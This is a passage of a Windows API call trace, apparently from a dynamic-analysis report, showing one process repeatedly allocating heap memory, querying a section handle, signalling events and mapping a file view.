0x0 [0072.044] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.044] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.044] ResetEvent (hEvent=0x110) returned 1 [0072.044] SetEvent (hEvent=0x114) returned 1 [0072.044] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.045] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.045] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.045] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.045] ResetEvent (hEvent=0x110) returned 1 [0072.045] SetEvent (hEvent=0x114) returned 1 [0072.045] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.045] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.045] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.045] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.045] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.045] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.045] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.045] ResetEvent (hEvent=0x110) returned 1 [0072.045] SetEvent (hEvent=0x114) returned 1 [0072.045] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.045] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.046] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.046] ResetEvent (hEvent=0x110) returned 1 [0072.046] SetEvent (hEvent=0x114) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.046] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.046] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.046] ResetEvent (hEvent=0x110) returned 1 [0072.046] SetEvent (hEvent=0x114) returned 1 [0072.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.046] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.046] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.046] ResetEvent (hEvent=0x110) returned 1 [0072.046] SetEvent (hEvent=0x114) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.047] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.047] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.047] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.047] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.047] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.047] ResetEvent (hEvent=0x110) returned 1 [0072.047] SetEvent (hEvent=0x114) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.047] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.047] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.047] ResetEvent (hEvent=0x110) returned 1 [0072.047] SetEvent (hEvent=0x114) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.048] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.048] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.048] ResetEvent (hEvent=0x110) returned 1 [0072.048] SetEvent (hEvent=0x114) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.048] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.048] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.048] ResetEvent (hEvent=0x110) returned 1 [0072.048] SetEvent (hEvent=0x114) returned 1 [0072.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.048] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.048] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.048] ResetEvent (hEvent=0x110) returned 1 [0072.049] SetEvent (hEvent=0x114) returned 1 [0072.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.049] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.049] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.049] ResetEvent (hEvent=0x110) returned 1 [0072.049] SetEvent (hEvent=0x114) returned 1 [0072.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.049] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.049] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.049] ResetEvent (hEvent=0x110) returned 1 [0072.049] SetEvent (hEvent=0x114) returned 1 [0072.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.050] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.050] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.050] ResetEvent (hEvent=0x110) returned 1 [0072.050] SetEvent (hEvent=0x114) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.050] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.050] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.050] ResetEvent (hEvent=0x110) returned 1 [0072.050] SetEvent (hEvent=0x114) returned 1 [0072.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.050] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.050] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.051] ResetEvent (hEvent=0x110) returned 1 [0072.051] SetEvent (hEvent=0x114) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.051] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.051] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.051] ResetEvent (hEvent=0x110) returned 1 [0072.051] SetEvent (hEvent=0x114) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.051] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.051] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.051] ResetEvent (hEvent=0x110) returned 1 [0072.051] SetEvent (hEvent=0x114) returned 1 [0072.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.052] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.052] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.052] ResetEvent (hEvent=0x110) returned 1 [0072.052] SetEvent (hEvent=0x114) returned 1 [0072.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.052] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.052] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.052] ResetEvent (hEvent=0x110) returned 1 [0072.052] SetEvent (hEvent=0x114) returned 1 [0072.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.052] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.052] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.053] ResetEvent (hEvent=0x110) returned 1 [0072.053] SetEvent (hEvent=0x114) returned 1 [0072.053] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.053] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.053] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.053] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.053] ResetEvent (hEvent=0x110) returned 1 [0072.053] SetEvent (hEvent=0x114) returned 1 [0072.053] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.053] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.053] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.053] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.053] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.053] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.053] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.054] ResetEvent (hEvent=0x110) returned 1 [0072.054] SetEvent (hEvent=0x114) returned 1 [0072.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.054] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.054] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.054] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.054] ResetEvent (hEvent=0x110) returned 1 [0072.054] SetEvent (hEvent=0x114) returned 1 [0072.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.054] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.054] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.054] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.054] ResetEvent (hEvent=0x110) returned 1 [0072.055] SetEvent (hEvent=0x114) returned 1 [0072.055] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.055] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.055] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.055] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.055] ResetEvent (hEvent=0x110) returned 1 [0072.055] SetEvent (hEvent=0x114) returned 1 [0072.055] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.055] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.055] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.055] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.055] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.055] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.055] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.055] ResetEvent (hEvent=0x110) returned 1 [0072.055] SetEvent (hEvent=0x114) returned 1 [0072.056] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.056] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.056] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.056] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.056] ResetEvent (hEvent=0x110) returned 1 [0072.056] SetEvent (hEvent=0x114) returned 1 [0072.056] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.056] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.056] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.056] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.056] ResetEvent (hEvent=0x110) returned 1 [0072.056] SetEvent (hEvent=0x114) returned 1 [0072.056] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.056] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.057] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.057] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.057] ResetEvent (hEvent=0x110) returned 1 [0072.057] SetEvent (hEvent=0x114) returned 1 [0072.057] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.057] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.057] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.057] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.057] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.057] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.057] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.057] ResetEvent (hEvent=0x110) returned 1 [0072.057] SetEvent (hEvent=0x114) returned 1 [0072.057] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.057] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.058] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.058] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.058] ResetEvent (hEvent=0x110) returned 1 [0072.058] SetEvent (hEvent=0x114) returned 1 [0072.058] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.058] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.058] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.058] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.058] ResetEvent (hEvent=0x110) returned 1 [0072.058] SetEvent (hEvent=0x114) returned 1 [0072.058] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.058] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.058] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.058] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.058] ResetEvent (hEvent=0x110) returned 1 [0072.058] SetEvent (hEvent=0x114) returned 1 [0072.059] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.059] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.059] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.059] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.059] ResetEvent (hEvent=0x110) returned 1 [0072.059] SetEvent (hEvent=0x114) returned 1 [0072.059] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.059] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.059] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.059] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.059] ResetEvent (hEvent=0x110) returned 1 [0072.059] SetEvent (hEvent=0x114) returned 1 [0072.059] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.059] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.060] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.060] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.060] ResetEvent (hEvent=0x110) returned 1 [0072.060] SetEvent (hEvent=0x114) returned 1 [0072.060] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.060] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.060] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.060] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: 